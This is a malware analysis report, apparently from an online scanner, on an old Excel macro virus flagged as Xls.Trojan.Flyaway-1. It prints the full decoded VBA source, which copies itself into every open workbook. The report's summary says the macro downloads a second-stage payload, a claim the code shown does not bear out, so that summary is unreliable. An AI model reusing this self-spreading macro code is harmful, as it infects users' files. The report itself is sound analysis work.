Xls.Trojan.Flyaway-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 9ad7cc2197418037…

MALICIOUS

Office (OLE)

18.5 KB Created: 1999-01-24 21:21:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0cce00b5a576b0473c6bc9d6782e2b50 SHA-1: 7ed55614d881c9fdcc6cc25334f00fd92d347601 SHA-256: 9ad7cc21974180374f61457ef530aa7a0a92ed639900cce56bb412e526d4404c
80 Risk Score

Malware Insights

Xls.Trojan.Flyaway-1 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, identified by ClamAV as Xls.Trojan.Flyaway-1. The VBA code appears to be designed to download and execute a second-stage payload, as indicated by the heuristic firings and the structure of the macro code. The copyright notice suggests a potential origin or naming convention associated with 'FlyShadow'.

Heuristics 2

  • ClamAV: Xls.Trojan.Flyaway-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Flyaway-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1967 bytes
SHA-256: d0c898e9c16fcfb8d1dbca9da83b316c445fb287d0b3c59821ecb2f6907eb3d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Lady
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = True
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Application.EnableCancelKey = xlDisabled
η: For Each ι In Workbooks
For υ = 1 To ι.VBProject.VBComponents.Count
ν = ι.VBProject.VBComponents(υ).CodeModule.CountOfLines + 1
If λ = "" And ν < 70 Then
If ι.VBProject.VBComponents(υ).CodeModule.Find("~^^~", 0, 0, 0, 0, False, False) = True Then
λ = ι.VBProject.VBComponents(υ).CodeModule.Lines(1, ν): GoTo η: End If
ElseIf ι.VBProject.VBComponents(υ).CodeModule.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
ν = ι.VBProject.VBComponents(υ).CodeModule.CountOfLines + 1
ι.VBProject.VBComponents(υ).CodeModule.InsertLines ν, λ
End If: Next: Next
End Sub
Private Sub Worksheet_Activate()
Workbook_Deactivate
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.